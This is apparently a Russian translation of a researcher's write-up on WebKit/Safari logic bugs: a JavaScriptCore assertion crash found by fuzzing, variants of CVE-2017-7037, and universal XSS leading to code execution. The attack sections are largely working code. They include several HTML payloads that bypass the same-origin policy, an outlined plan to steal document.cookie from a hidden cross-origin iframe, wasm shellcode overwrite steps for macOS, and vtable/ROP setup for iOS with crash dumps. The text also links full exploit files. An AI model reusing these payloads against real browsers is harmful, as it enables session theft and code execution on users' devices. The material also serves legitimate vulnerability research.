2 - Попадание в пути уязвимого кода
–2.1 - любопытное утверждение (assert)
–2.2 - Некоторые Основные понятия
—-2.2.1 - доступы к проиндексированному свойству
—-2.2.2 - «Have A bad time»
–2.3 - Проверка нашего Понимания первоначального сбоя
—-2.3.1 - RCE ??
—-2.3.2 - UXSS ??
–2.4 - Анализ вариантов - CVE-2017-7037
—-2.4.1 - Реальная эксплуатация CVE-2017-7037
—-2.4.2 - Об исправлении Apple для CVE-2017-7037
3 - Обход SOP
4 - RCE Эксплоиты
–4.1 - ограничения
–4.2 - MacOS
–4.3 - iOS <A12
–4,4 - A12
–4.5 - Заметка и Подсказка об исправлении рендерера для обхода SOP.
5 - Рекомендации
0 - Введение
В этой статье описывается процесс обнаружения и эксплуатации ряда логических ошибок в Webkit, который разбивает полностью всю модель безопасности браузера на части.
Весьма прискорбно, что ошибка UXSS уже была передана в Apple в 2017 году, и стало возможным исключить существование этого варианта, просто поискав другие экземпляры этого шаблона в базе кода.
1 - Обзор CSP:
1.1 - Определения:
1.1.1 - XSS
ОТ [1]:
"Межсайтовый скриптинг (XSS) - это атака с внедрением кода на стороне клиента. Злоумышленник стремится выполнить вредоносные сценарии в веб-браузере жертвы путем включения вредоносного кода в веб-страницу законного сайта или в веб- приложение. Фактическая атака происходит, когда жертва посещает веб-страницу или веб-приложение, которое выполняет вредоносный код. Веб-страница или веб- приложение становятся средством доставки вредоносного скрипта в браузер пользователя. Уязвимые средства транспортировки, которые обычно используются для межсайтовых скриптинговых атак, - это форумы, доски объявлений и веб- страницы, которые позволяют оставлять комментарии."
1.1.2 - UXSS
ОТ [2]:
"В отличие от обычных XSS-атак, UXSS - это тип атаки, который использует уязвимости на стороне клиента в браузере или расширения браузера для того, чтобы создать условия для выполнения XSS, и выполнить вредоносный код. Когда такие уязвимости обнаруживаются и используются, затрагивается поведение браузера и его функции безопасности могут быть обойдены или отключены."
1.1.3 - CSP
С mozilla.org [3]:
"Политика безопасности контента (Content Security Policy - CSP) - это
дополнительный уровень безопасности, который помогает обнаруживать и уменьшать
вероятность положительного исхода некоторых типов атак, в том числе
Межсайтовый скриптинг (XSS) и атак с использованием внедрения данных(data
injection attacks). Эти атаки используются для всего: от кражи данных до порчи
сайтов и распространения вредоносных программ.
[...]
[...]
Угрозы.
Основная цель CSP состоит в том, чтобы уменьшить вероятность положительного
исхода (смягчить) и сообщить об XSS-атаках. Атаки XSS используют доверие
браузера к контенту, полученному с сервера. Вредоносные сценарии выполняются
браузером жертвы, потому что браузер доверяет источнику контента, даже если он
не исходит оттуда, откуда он кажется, что исходит и должен исходить."
1.1.4 - SOP
Из wikipedia.org [4]:
"В вычислительной технике политика того же происхождения является важной концепцией в модели безопасности веб-приложений. В соответствии с этой политикой веб-браузер разрешает сценариям, содержащимся на первой веб- странице, доступ к данным на второй веб-странице, но только если обе веб- страницы имеют одинаковое происхождение. Источник определяется как комбинация схемы URI, имени хоста и номера порта. Эта политика запрещает вредоносному сценарию на одной странице получать доступ к конфиденциальным данным на другой веб-странице через объектную модель документа (Document Object Model) этой страницы."
1.2 - Реализация CSP в Webkit - краткий обзор
Для обеспечения CSP в браузере Safari основные определения реализованы в:
webkit/tree/master/Source/WebCore/page/csp[5].
Читателю рекомендуется взглянуть на реализацию самостоятельно, но мы бы
описали некоторые основные функции и использование этой реализации в webkit:
В общем, если мы посмотрим на …/ContentSecurityPolicy.cpp из источника [5], мы можем увидеть набор API, которые будут использоваться рендерером и другими DOM Компонентами. В качестве примера мы рассмотрим следующий конструктор:
C++:Copy to clipboard
ContentSecurityPolicy::ContentSecurityPolicy(URL&& protectedURL,
ContentSecurityPolicyClient* client)
: m_client { client }
, m_protectedURL { WTFMove(protectedURL) }
{
updateSourceSelf(SecurityOrigin::create(m_protectedURL).get());
}
Как мы видим, при создании объекта DOM, при рендеринге или с помощью DOM API,
политика CSP инициирована, чтобы быть проверенной позже для любых возможных
violations. Предоставляется дополнительный набор API. Например, для проверки
доступа на странице, следующий класс реализован внутри
webkit/blob/master/Source/WebCore/page/SecurityOrigin.cpp#L1866 [6]:
C++:Copy to clipboard
Ref<SecurityOrigin> SecurityOrigin::create(const URL& url)
{
if (RefPtr<SecurityOrigin> cachedOrigin = getCachedOrigin(url))
return cachedOrigin.releaseNonNull();
if (shouldTreatAsUniqueOrigin(url))
return adoptRef(*new SecurityOrigin);
if (shouldUseInnerURL(url))
return adoptRef(*new SecurityOrigin(extractInnerURL(url)));
return adoptRef(*new SecurityOrigin(url));
}
Например, этот класс содержит следующую функцию API:
Code:Copy to clipboard
bool SecurityOrigin::canAccess(const SecurityOrigin& other) const
Позже в /Source/WebCore/bindings/js/JSDOMBindingSecurity.cpp [7] этот API- интерфейс публикуется для API-интерфейса DOM и используется процессом визуализации для проверки разрешений на доступ к DOM из-за ограничений CSP:
Code:Copy to clipboard
bindings/js/JSDOMWindowCustom.cpp#L424 [8]:
bool JSDOMWindow::defineOwnProperty(JSC::JSObject* object,
JSC::ExecState* exec, JSC::PropertyName propertyName,
const JSC::PropertyDescriptor& descriptor, bool shouldThrow)
{
JSDOMWindow* thisObject = jsCast<JSDOMWindow*>(object);
// Позволять таким образом определять свойства только для фреймов с тем же источником,
// поскольку это позволяет вводить сеттеры.
if (!BindingSecurity::shouldAllowAccessToDOMWindow(exec,
thisObject->wrapped(), ThrowSecurityError))
return false;
// Не разрешайте теневое местоположение, используя свойства аксессора.
if (descriptor.isAccessorDescriptor() &&
propertyName == Identifier::fromString(exec, "location"))
return false;
return Base::defineOwnProperty(thisObject, exec, propertyName,
descriptor, shouldThrow);
}
В приведенной выше функции читатель должен увидеть, что прежде чем мы сможем использовать API Javascript, defineOwnProperty, JSDOMWindow API проверяет правильность разрешений, переходя к API, реализованным в [7] и определенным в [6]. Эта проверка выполняется из-за динамического характера JavaScript. Имеется ввиду даже если мы не можем загрузить скрипт напрямую к какому-либо объекту.
Определение свойства для объекта с перекрестным происхождением может вызвать обратные вызовы и привести к произвольному выполнению JavaScript в доменах с перекрестным происхождением, иными словами, доменах с разными источниками (cross-origin domains) -> что ведет к нарушению CSP.
**2 - Попадание в пути уязвимого кода
2.1 - Любопытное утверждение (assert)**
Во время фаззинга [9] JSC, для ошибок проверки памяти, я столкнулся со следующим тестом:
Файл assert.js:
JavaScript:Copy to clipboard
function opt(fn) {
for ( let ttt = 0; ttt < 400; ttt ++){
fn[ttt] = 1;
}
function dummy() {}
const p = parseFloat.__proto__;
const h = {
get:dummy,
set:dummy
};
Object.defineProperty(p,12345,h);
fn[300000000] = 17;
}
opt(Map);
Ожидаемая трассировка стека из отладочной сборки:
Code:Copy to clipboard
ASSERTION FAILED: !needsSlowPutIndexing(vm)
.../trunk/Source/JavaScriptCore/runtime/JSObject.cpp(1684) : JSC::ArrayStorage *JSC::JSObject::ensureArrayStorageSlow(JSC::VM &)
1 0x1177feed9 WTFCrash
2 0x10a4f9660 WTF::BasicRawSentinelNode<Worker>::remove()
3 0x116b84bb4 JSC::JSObject::ensureArrayStorageSlow(JSC::VM&)
4 0x116b86358 bool JSC::JSObject::putByIndexBeyondVectorLengthWithoutAttributes<(unsigned char)8>(JSC::ExecState*,unsigned,int, JSC::JSValue)
5 0x116b90c89 JSC::JSObject::putByIndexBeyondVectorLength(JSC::ExecState*, unsigned int, JSC::JSValue, bool)
6 0x116b72f8b JSC::JSObject::putByIndex(JSC::JSCell*, JSC::ExecState*, unsigned int, JSC::JSValue, bool)
7 0x116b7215a JSC::JSObject::putByIndex(JSC::JSCell*, JSC::ExecState*, unsigned int, JSC::JSValue, bool)
8 0x114b29b2b JSC::JSObject::putInlineForJSObject(JSC::JSCell*, JSC::ExecState*, JSC::PropertyName, JSC::JSValue,JSC::PutPropertySlot&)
9 0x114b28f80 JSC::JSCell::putInline(JSC::ExecState*, JSC::PropertyName, JSC::JSValue,
JSC::PutPropertySlot&)
10 0x114b304fe JSC::JSValue::putInline(JSC::ExecState*, JSC::PropertyName, JSC::JSValue, JSC::PutPropertySlot&)
11 0x1160fe6cc JSC::putByVal(JSC::ExecState*, JSC::JSValue, JSC::JSValue, JSC::JSValue, JSC::ByValInfo*)
12 0x1160fc3b8 operationPutByValOptimize
13 0x248355c02a6d
14 0x1162865f3 llint_entry
15 0x116273242 vmEntryToJavaScript
16 0x115f10a19 JSC::JITCode::execute(JSC::VM*, JSC::ProtoCallFrame*)
17 0x115f0e31d JSC::Interpreter::executeProgram(JSC::SourceCode const&, JSC::ExecState*, JSC::JSObject*)
18 0x116834a75 JSC::evaluate(JSC::ExecState*, JSC::SourceCode const&, JSC::JSValue, WTF::NakedPtr<JSC::Exception>&)
19 0x10a5c0d90 runWithOptions(GlobalObject*, CommandLine&, bool&)
20 0x10a550574 jscmain(int, char**)::$_4::operator()(JSC::VM&, GlobalObject*, bool&) const
21 0x10a4fe9b6 int runJSC<jscmain(int, char**)::$_4>(CommandLine const&, bool, jscmain(int, char**)::$_4 const&)
22 0x10a4fadae jscmain(int, char**)
23 0x10a4fab6e main
24 0x7fff7624c3d5 start
Illegal instruction: 4
2.2 - Некоторые основные понятия
Что мне нравится делать, когда я сталкиваюсь с новым сбоем, так это смотреть
на то, как ругается git. После поиска нескольких, я наконец получил этот
коммит:
d3506e647787358365cb5aac9e769cbfeadf9c38 [10]
Давайте процитируем немного объяснения автора об этом утверждении:
"Для тех, кто не знаком с терминологией, «have a bad time» в VM означает, что Object.prototype был изменен таким образом, что мы больше не можем тривиально осуществлять доступ к индексированным свойствам, не обращаясь к Object.prototype. Это побеждает оптимизацию проиндексированного вывода JIT и, следовательно, заставляет виртуальную машину «have a bad time»."
2.2.1 - Доступы к проиндексированному свойству
Цель этой статьи - не предоставить глубокий анализ Jit-компиляции, поэтому будут обсуждаться только самые базовые идеи, необходимые для понимания этой уязвимости.
Давайте рассмотрим следующий код JavaScript:
JavaScript:Copy to clipboard
function add(arr){
return arr[0] + arr[1];
}
let a = [1,2]; [@]
for ( let y = 0; y < 0x1234; y++){
let re = add(a);
}
В современном движке JavaScript оптимизаторы компилятора используются для перевода кода JavaScript в машинный код. Давайте рассмотрим замену строки, отмеченной [@], следующим кодом:
Code:Copy to clipboard
let a = ['a', 2];
При вызове функции «добавить». Дополнение может иметь два разных машинных кода. Это означает, что добавление строкового объекта и числа (в JavaScript) приведет к появлению полученной строки (в этом примере) «a2». Машинный код и номер операции будут сильно отличаться от исходного примера: в общих чертах нам необходимо:
*) загрузить индексированное свойство данного аргумента.
*) загрузить второе свойство данного аргумента.
*) преобразовать второй аргумент в строку.
*) вычислить сложение строки.
Напротив, исходный пример будет производить (грубо) следующее:
*) загрузить индексированное свойство данного аргумента.
*) загрузить второе свойство данного аргумента.
*) проверка на переполнение целочисленного сложения
*) вычислить сложение Int32.
Jit-компилятор предназначен для учета этих различий в целях экономии времени выполнения. При многократном обращении к определенному ArrayLike объекту, компилятор обращается (в JSC) к типу индексации этого объекта и генерирует оптимизированный код для этой операции.
Независимый тип определяется по адресу: IndexingType.h [11] и представляет собой структуру данных cpp в форме:
Code:Copy to clipboard
/*
Структура IndexingType
=============================
Концептуально, IndexingTypeAndMisc выглядит следующим образом:
struct IndexingTypeAndMisc {
struct IndexingModeIncludingHistory {
struct IndexingMode {
struct IndexingType {
uint8_t isArray:1; // bit 0
uint8_t shape:3; // bit 1 - 3
};
uint8_t copyOnWrite:1; // bit 4
};
uint8_t mayHaveIndexedAccessors:1; // bit 5
};
uint8_t cellLockBits:2; // bit 6 - 7
};
Значения формы (например, Int32Shape, ContiguousShape и т.д.)
являются перечислением различных форм (хотя и не обязательно
последовательными с точки зрения их значений).
Следовательно, значения формы не являются побитовым
исключением по отношению друг к другу.
Также принято ссылаться на форму + copyOnWrite как
IndexingShapeWithWritability.
*/
Итак, мы можем видеть, что компилятор может, например, проверить в этом примере тип индексации объекта, к которому осуществляется доступ, и затем продолжить выполнение, если действительно найден тот же тип индексации, или выгрузить и перекомпилировать функцию для выдачи другой и более подходящий байт-код для операции доступа.
2.2.2 - «Have A bad time»
О прототипе JavaScript:
спецификация JavaScript определяет прототип объекта как метод для расширения
или изменения поведения определенного объекта или класса объектов.
как утверждает MDN [12]:
"Изменения в объекте-прототипе Object видятся всеми объектами через цепочку прототипов, если только свойства и методы, подверженные этим изменениям, не переопределяются далее по цепочке прототипов. Это обеспечивает очень мощный, хотя и потенциально опасный механизм для переопределения или расширения поведения объекта."
Теперь давайте рассмотрим следующий код:
Code:Copy to clipboard
function add(arr){
return arr[0] + arr[1];
}
let a = [1,2];
Object.defineProperty(a, 0, {
get: function(){return 'a';}
});
for ( let y = 0; y < 0x1234; y++){
let re = add(a);
}
Как мы видим, «прототип» объекта «а» был изменен. И теперь полученное дополнение будет таким же, как и второй пример, приведенный в разделе предварительного просмотра(секции previews). И мы уже обсуждали разницу в работе компилятора. Как заявлено автором соответствующего коммита, который добавил обсужденное выше утверждение(assert). Когда прототип объекта был изменен, допущения JIT компиляторов были нарушены, и он должен обратиться к прототипу. В JSC это состояние называется режимом «have a bad time».
2.3 - Проверка нашего Понимания первоначального сбоя
Давайте вернемся к файлу assert:
Code:Copy to clipboard
function opt(fn) {
for ( let ttt = 0; ttt < 400; ttt ++){
fn[ttt] = 1; [1]
}
function dummy() {}
const p = parseFloat.__proto__; [2]
const h = {
get:dummy,
set:dummy
};
Object.defineProperty(p,12345,h); [3]
fn[300000000] = 17; [4]
}
opt(Map);
Зацикленный доступ, отмеченный [1], заставляет компилятор оптимизировать
доступ к данному функции аргументу.
В этом примере мы отправляем функцию Map в качестве инструмента, таким
образом, при доступе к прототипу parseFloat в строке [2] мы также получаем
доступ к прототипу Map, поскольку они оба наследуются от глобального объекта
Function. Затем в [3] из-за последней указанной строки мы меняем прототип
оптимизированного для доступа объекта.
Позже в [4] мы вызываем испущенный putByValOptimize (из-за [1]) и утверждаем,
потому что компилятор вызывает putByIndexBeyondVectorLengthWithoutAttributes,
который преобразует доступ к этому объекту в тип индексации режима словаря.
Эта функция всегда вызывает JSC::JSObject::ensureArrayStorageSlow. Но тип
хранилища - это быстрый путь, о чем свидетельствует
«operationPutByValOptimize» в трассировке стека.
Основные моменты, которые следует принять здесь:
putByIndex, putByIndexBeyondVectorLength не принимает во внимание изменения в прототипе объекта, и это только позже делается другой функцией в трассировке стека.
при определенных условиях operationPutByValOptimize является оберткой вокруг JSC::JSValue::putInline and JSC::JSValue::put (как общая ссылка на все виды функций, начинающиеся с ::put ::push и т.д и т.п.).
putbeyondvectorlength обеспечивает медленное хранение массивов и утверждает, что это не так. Но мы добавили доступ к индексированным свойствам, тогда мы должны быть там уже - это означает, что им не удалось смоделировать это правильно.
Поэтому теперь нам нужно задать себе следующие вопросы:
2.3.1 - RCE ??
Если мы должны были быть в «have a bad time», а putbeyondvectorlength обеспечивает медленное хранение массива.. и утверждает, что это не так (а если у нас «плохое время»(«have a bad time»), то мы должны быть там уже) и побочный эффект на совмещенном JIT коде моделируется с помощью HaveABadTime, тогда мы можем вызывать побочные эффекты в этом совмещенном коде.
qwerty также написал хороший PoC для этого здесь.
По крайней мере, они нашли способ исправить несколько экземпляров одним
ударом..
это исправлено с помощью:
https://github.com/WebKit/webkit/commit/fa191875bb1cce51822bef7135633bc004e6b322
2.3.2 - UXSS ??
Но, глядя на это поведение, я подумал о другом вопросе:
КТО получает прототип (Prototype) ???
2.4 - Анализ вариантов - CVE-2017-7037.
CVE-2017-7037 был обнаружен lokihardt [13] из проекта Google Project Zero [14], в апреле 2017 года. Отчет можно увидеть на трекере проблем (issue tracker) [15]
Давайте посмотрим на PoC (Proof-of-Concept) и описание этой уязвимости, данное искателем в отчете баг-трака ([15]):
«
JSObject::putInlineSlow and JSValue::putToPrimitive использование
getPrototypeDirect вместо getPrototype, чтобы получить прототип объекта.
Так что JSDOMWindow::getPrototype, который проверяет ту же политику
происхождения (Same Origin Policy), не вызывается.
PoC показывает вызов установщика объекта другого происхождения.
PoC 1 - JSValue::putToPrimitive:
Code:Copy to clipboard
<body>
<script>
let f = document.body.appendChild(document.createElement('iframe'));
let loc = f.contentWindow.location;
f.onload = () => {
let a = 1.2;
a.__proto__.__proto__ = f.contentWindow;
a['test'] = {toString: function () {
arguments.callee.caller.constructor('alert(location)')();
}};
};
f.src = 'data:text/html,' + `<iframe></iframe><script>
Object.prototype.__defineSetter__('test', v => {
'a' + v;
});
</scrip` + `t>`;
</script>
</body>
»
С учетом фона, приведенного в разделе 1.3 в этой статье, читатель должен понять основную причину этой уязвимости из описания lokihardt.
2.4.1 - Реальная эксплуатация CVE-2017-7037.
если бы вы посетили исходный отчет на Google Project Zero баг-трекере [15], вы бы увидели комментарий 5:
«
Комментарий 5 от cainiao…@gmail.com, Вторник, 25 июля 2017 г., 15:29 GMT+3
я не вижу, как использовать
кто-нибудь может сказать мне?
»
Как описано в разделе 1.3, и при условии, что мы сохраним следующий PoC в файл с именем «poc.html» и запустим его в уязвимой версии Apple Safari.
Затем просмотр раздела сети в WebInspector покажет, что мы получили два разных
источника в документе:
file:// и data/… . Теперь приведенный здесь комментарий не является
избыточным, поскольку это кажется нереальной проблемой: если мы можем создать
iframe, где мы уже можем запускать код в (data/..), то почему это вообще
проблема?
Проницательный читатель должен заметить, что замена источника данных ‘data/..’ на любой другой результат все равно приведет к присвоению свойства прототипу перекрестного происхождения.
Итак, «реальная эксплуатация» этой ошибки будет иметь вид:
*) найдите интересующий вас перекрестный домен, скажем: juicy-data.com.
*) найти доступ к некоторому определенному свойству, которое может вызвать callback (toString, valueOf),
Пример: сравнивая этот объект (а затем вызывается valueOf или toString).
Доступ к этому свойству может быть сделан с любой "боковой" загрузкой JavaScript на этот сайт.
*) Определите valueOf, обратный вызов toString для извлечения данных из этого источника, например: с помощью выдачи XMLHttpRequest, который отправляет данные document.cookie обратно на сервер, контролируемый злоумышленником.
*) Разместите страницу эксплойта, которая встраивает домен juicy-data.com в скрытый iframe и запускает на этой странице JavaScript с указанной логической проблемой.
2.4.2 - Об исправлении Apple для CVE-2017-7037.
Выполнение кода PoC CVE-2017-7037 в Safari не приведет к созданию CSP. Violation. Вместо этого кажется, что Apple исправило ошибку, заставив соответствующие операции использовать getPrototype вместо getPrototypeDirect, поэтому мы, по сути, больше не можем удерживать прототип перекрестного происхождения(cross origin prototype), поэтому мы не получим CSP violation.. Но если мы запустим следующий JavaScript код, мы сможем увидеть, что мы получаем CSP violation в отладчике:
Code:Copy to clipboard
<body>
<script>
let f = document.body.appendChild(document.createElement('iframe'));
let loc = f.contentWindow.location;
f.onload = () => {
let a = 1.2;
Object.defineProperty(a.__proto__,'__proto__',f.contentWindow); // Изменено..
a['test'] = {toString: function () {
arguments.callee.caller.constructor('alert(location)')();
}};
};
f.src = 'data:text/html,' + `<iframe></iframe><script>
Object.prototype.__defineSetter__('test', v => {
'a' + v;
});
</scrip` + `t>`;
</script>
</body>
Консольный вывод:
Code:Copy to clipboard
SecurityError: Blocked a frame with origin "null" from accessing a cross-origin frame. Protocols, domains, and ports must match.
Например: ‘let v = f.contentWindow.eval’, приведет к violation.
Поэтому разработчикам нужно проверять каждую операцию, включая назначения
через обсуждаемые операции.. имея два API-интерфейса: getprototype -> приводит
к привязкам DOM и getprototypedirect, они в основном создали этот класс ошибок
обхода CSP.. по-моему, это ошибка известного шаблона проектирования, которая
может привести разработчиков к ошибкам.
3 - Обход SOP
С учетом приведенного выше анализа и после рассмотрения соответствующих функций в трассировке стека assert, можно построить следующие обходы для CVE-2017-7037:
Code:Copy to clipboard
<body>
<script>
let f = document.body.appendChild(document.createElement("iframe"));
f.onload = () => {
let a = {__proto__:f.contentWindow};
a[0] = {toString: function () {
arguments.callee.caller.constructor('alert(location)')();
}};
}
f.src = 'data:text/html;charset=utf-8,' + escape("<ifra"+"me></ifr"+"ame><scr"+"ipt>Object.prototype.__defineSetter__(0, v => {'a' + v;});</scr"+"ipt>");
</script>
</body>
Code:Copy to clipboard
<body>
<script>
let f = document.body.appendChild(document.createElement("iframe"));
f.onload = () => {
let a = [];
for (let ttt = 0; ttt < 0x400; ttt++){
a[ttt] = '';
}
a.__proto__.__proto__ = f.contentWindow;
a[10101010] = {toString: function () {
arguments.callee.caller.constructor('alert(location)')();
}};
}
f.src = 'data:text/html;charset=utf-8,' + escape("<ifra"+"me></ifr"+"ame><scr"+"ipt>Object.defineProperty(Object.prototype, 10101010, {set: function (v) {return 'a' + v;}});</scr"+"ipt>");
</script>
</body>
[и так далее]
[и так далее]
[и так далее]
Вам предлагается прочитать
патч (обратите внимание на
cocoa..).
Дальнейшие манипуляции оставлены в качестве упражнения для читателя.
4 - RCE Эксплоиты
(см. html-файлы для code execution эксплойтов):
UXSS
[MacOS](https://github.com/akayn/PoCs/blob/master/CVE-2019-8658/MacOS-
Safari-12.1.1-RCE.html)
IOS
4.1 - Ограничения
В текущей версии Safari (и последующих) распыления структуры более не
достаточно (чтобы подделать произвольный объект).
Необходимо найти способ утечки действительного идентификатора структуры,
используя творческие методы или высококачественную утечку информации, такую
как эта ошибка #
(обратите внимание, что этой ошибки было достаточно для самостоятельного
использования webkit на рабочем столе, даже с учетом всех новых мер по
снижению риска).
Помимо этого, насколько мне известно, это должно работать так же...
4.2 - MacOS
Все, что нам нужно сделать для достижения выполнения собственного кода, это
перезаписать функцию wasm.
как это выделено r/w/x.
По сути, это то, что делает эксплойт.
Code:Copy to clipboard
// переписать инструкции
// в функции Wasm и вызвать его
// для выполнения шеллкода..
const wasm_code = new Uint8Array([0x00, 0x61, 0x73, 0x6d, 0x01, 0x00, 0x00, 0x00,0x01, 0x85, 0x80, 0x80, 0x80, 0x00, 0x01, 0x60,0x00, 0x01, 0x7f, 0x03, 0x82, 0x80, 0x80, 0x80,0x00, 0x01, 0x00, 0x06, 0x81, 0x80, 0x80, 0x80,0x00, 0x00, 0x07, 0x85, 0x80, 0x80, 0x80, 0x00,0x01, 0x01, 0x61, 0x00, 0x00, 0x0a, 0x8a, 0x80,0x80, 0x80, 0x00, 0x01, 0x84, 0x80, 0x80, 0x80,0x00, 0x00, 0x41, 0x00, 0x0b]);
const wasm_instance = new WebAssembly.Instance(new WebAssembly.Module(wasm_code));
const wasm_func = wasm_instance.exports.a;
let pexe = addrof(wasm_instance.exports.a);
let eaddress = memory.read_i64(Add(pexe, new Int64('0x30')),0);
memory.write_i64( eaddress , 0, new Int64('0xcccccccccccccccc') );
wasm_func();
4.3 - iOS <A12
Без PAC мы можем перезаписать указатель виртуальной функции div и другие поля,
чтобы запустить ROP.
Следующего кода (с модификациями для поля 'b' для хранения цепочки цепочек)
достаточно, так как вы можете извлечь регистры из начальной точки ROP цепочки
со смещением 0x18 внутри объекта, а затем продолжить, как написано в [16].
(но не забудьте уважать ARM64 alignment..)
Code:Copy to clipboard
let buff = {
a: 2261634.5098039214, // + 0x10
b: 2261634.5098039214, // + 0x18 <--- [rax] || [x0]
c: 2261634.5098039214, // + 0x20
// ...
// ...
}
let addx = addrof(buff);
var d = document.getElementById("a");
let ad_div = addrof(d);
let exe_ptr = memory.read_i64(Add(ad_div, new Int64('0x18')),0);
let v_tlb = memory.read_i64(exe_ptr,0);
// let web_core = Sub(v_tlb,new Int64('0x5024be70')); // safari 12.1.1 -> macos корректирует смещение для ios..
/*
результат с:
* thread #1, queue = 'com.apple.main-thread', stop reason = EXC_BAD_ACCESS (code=EXC_I386_GPFLT)
frame #0: 0x00007fff4b5d5898 WebCore`WebCore::jsEventTargetPrototypeFunctionDispatchEvent(JSC::ExecState*) + 152
WebCore`WebCore::jsEventTargetPrototypeFunctionDispatchEvent:
-> 0x7fff4b5d5898 <+152>: call qword ptr [rax]
0x7fff4b5d589a <+154>: cmp eax, 0x26
0x7fff4b5d589d <+157>: jne 0x7fff4b5d58c8 ; <+200>
0x7fff4b5d589f <+159>: mov rdi, rbx
(lldb) reg r
General Purpose Registers:
rax = 0x000000056a47fdf8 <-- указывает на то, что внутри объекта+0x18 || x0
(lldb) x/10gx $rax --считать 1
0x56a47fdf8: 0x4142414141414141 || x8
rbx = 0x000000056df00240 <-- указывает на объект+0x18,
(lldb) x/10gx $rbx --считать 1
0x56df00240: 0x000000056a47fdf8
(lldb)
rdi = 0x000000056df00240 <-- указывает на объект+0x18, || x20
Exception Type: EXC_BAD_ACCESS (SIGBUS)
Exception Subtype: EXC_ARM_DA_ALIGN at 0x0042414141414141
VM Region Info: 0x42414141414141 is not in any region. Bytes after previous region: 18649030044188994
REGION TYPE START - END [ VSIZE] PRT/MAX SHRMOD REGION DETAIL
JS JIT generated code 0000000f96108000-0000000f9610c000 [ 16K] ---/rwx SM=NUL
Thread 0 name: Dispatch queue: com.apple.main-thread
Thread 0 Crashed:
0 ??? 0x0042414141414141 0 + 18649096986378561
1 ??? 0x0000000f8e10c200 0 + 66807972352
2 ??? 0x0000000f8e12f770 0 + 66808117104
3 JavaScriptCore 0x00000001918f53c4 0x1916d4000 + 2233284
4 JavaScriptCore 0x00000001918f53c4 0x1916d4000 + 2233284
Thread 0 crashed with ARM Thread State (64-bit):
x0: 0x0000000105c00240 x1: 0x0000000000000010 x2: 0x0000000000000001 x3: 0x000000016f2c5848
x4: 0x00000001087a0780 x5: 0x000000016f2c55c0 x6: 0x0000000102ef0c40 x7: 0x0000000000000000
x8: 0x4142414141414141 x9: 0x000000010801cfb0 x10: 0x0000000000000005 x11: 0x0000000000000000
x12: 0x00000001baef0ec8 x13: 0x00000000cf0dc550 x14: 0x000000000000000f x15: 0x0000000000000000
x16: 0x0000000000000000 x17: 0x00000001032114a0 x18: 0x0000000000000000 x19: 0x000000016f2c5980
x20: 0x0000000105c00240 x21: 0xffff000000000002 x22: 0x0000000000000002 x23: 0x000000016f2c5fc8
x24: 0x000000010489ed60 x25: 0x0000000104804010 x26: 0x0000000102cb1c00 x27: 0xffff000000000000
x28: 0xffff000000000002 fp: 0x000000016f2c5970 lr: 0x00000001931a2d78
sp: 0x000000016f2c5920 pc: 0x0042414141414141 cpsr: 0x80000000
*/
memory.write_i64(exe_ptr,0,new Int64(Add(addx, new Int64('0x18'))));
d.dispatchEvent(new Event('click'));
4.4 - A12
Будь креативным!
4.5 - Заметка и Подсказка об исправлении рендерера для обхода SOP.
Каждая загруженная страница (объект документа - document object) будет иметь
связанный объект "SecurityOrigin. В то время как часть UXSS популярна, вы
должны заметить, что есть другие поля, кроме m_universal_access =)
Давайте просто скажем, что если вы перейдете в локальное хранилище, то сможете
прочитать некоторые визуализируемые локальные файлы, а broker также примет
протокол и «хост», принимая решение предоставить доступ к определенным
действиям…
5 - Рекомендации
Я не буду создавать никаких других статей для описания иных ошибок, которые я нашел в webkit, но они будут загружены в мой git в конечном итоге..
Для дальнейшего чтения о других классах ошибок UXSS я рекомендую:
https://ai.google/research/pubs/pub48028
[adv] https://www.zerodayinitiative.com/advisories/ZDI-19-683/
[apple] https://support.apple.com/en-us/HT210346
[1] https://www.acunetix.com/websitesecurity/cross-site-scripting/
[2] <https://www.acunetix.com/blog/articles/universal-cross-site-scripting-
uxss/>
[3] https://developer.mozilla.org/en-US/docs/Web/HTTP/CSP
[4] https://en.wikipedia.org/wiki/Same-origin_policy
[5] https://github.com/WebKit/webkit/tree/master/Source/WebCore/page/csp
[6]
https://github.com/WebKit/webkit/blob/master/Source/WebCore/page/SecurityOrigin.cpp#L1866
[7]
https://github.com/WebKit/webkit/bl.../WebCore/bindings/js/JSDOMBindingSecurity.cpp
[8]
https://github.com/WebKit/webkit/bl...ebCore/bindings/js/JSDOMWindowCustom.cpp#L424
[9] https://en.wikipedia.org/wiki/Fuzzing
[10]
https://github.com/WebKit/webkit/commit/d3506e647787358365cb5aac9e769cbfeadf9c38
[11]
https://github.com/WebKit/webkit/bl.../Source/JavaScriptCore/runtime/IndexingType.h
[12] <https://developer.mozilla.org/en-
US/docs/Web/JavaScript/Reference/Global_Objects/Object/prototype>
[13] https://bugs.chromium.org/u/64750745/
[14] https://googleprojectzero.blogspot.com/
[15] https://bugs.chromium.org/p/project-zero/issues/detail?id=1240
[16] https://t.co/0AkPMpaNc7
Минимальный PoC & ref для кода эксплойта:
Code:Copy to clipboard
/*
[0] https://bugs.webkit.org/show_bug.cgi?id=196315
[1] http://rce.party/wtf.js
[2] https://github.com/saelo/cve-2018-4233
[3] https://github.com/LinusHenze/WebKit-RegEx-Exploit
вот как я узнал об этой ошибке (после того, как подробности о других уязвимостях станут общедоступными,
тогда будет полная техническая рецензия на эту тему):
function opt(fn) {
for ( let ttt = 0; ttt < 400; ttt ++){
fn[ttt] = 1;
}
function dummy() {}
const p = parseFloat.__proto__;
const h = {
get:dummy,
set:dummy
};
Object.defineProperty(p,12345,h);
fn[300000000] = 17;
}
opt(Map);
ASSERTION FAILED: !needsSlowPutIndexing(vm)
.../trunk/Source/JavaScriptCore/runtime/JSObject.cpp(1684) : JSC::ArrayStorage *JSC::JSObject::ensureArrayStorageSlow(JSC::VM &)
1 0x1177feed9 WTFCrash
2 0x10a4f9660 WTF::BasicRawSentinelNode<Worker>::remove()
3 0x116b84bb4 JSC::JSObject::ensureArrayStorageSlow(JSC::VM&)
4 0x116b86358 bool JSC::JSObject::putByIndexBeyondVectorLengthWithoutAttributes<(unsigned char)8>(JSC::ExecState*,unsigned,int, JSC::JSValue)
5 0x116b90c89 JSC::JSObject::putByIndexBeyondVectorLength(JSC::ExecState*, unsigned int, JSC::JSValue, bool)
6 0x116b72f8b JSC::JSObject::putByIndex(JSC::JSCell*, JSC::ExecState*, unsigned int, JSC::JSValue, bool)
7 0x116b7215a JSC::JSObject::putByIndex(JSC::JSCell*, JSC::ExecState*, unsigned int, JSC::JSValue, bool)
8 0x114b29b2b JSC::JSObject::putInlineForJSObject(JSC::JSCell*, JSC::ExecState*, JSC::PropertyName, JSC::JSValue,JSC::PutPropertySlot&)
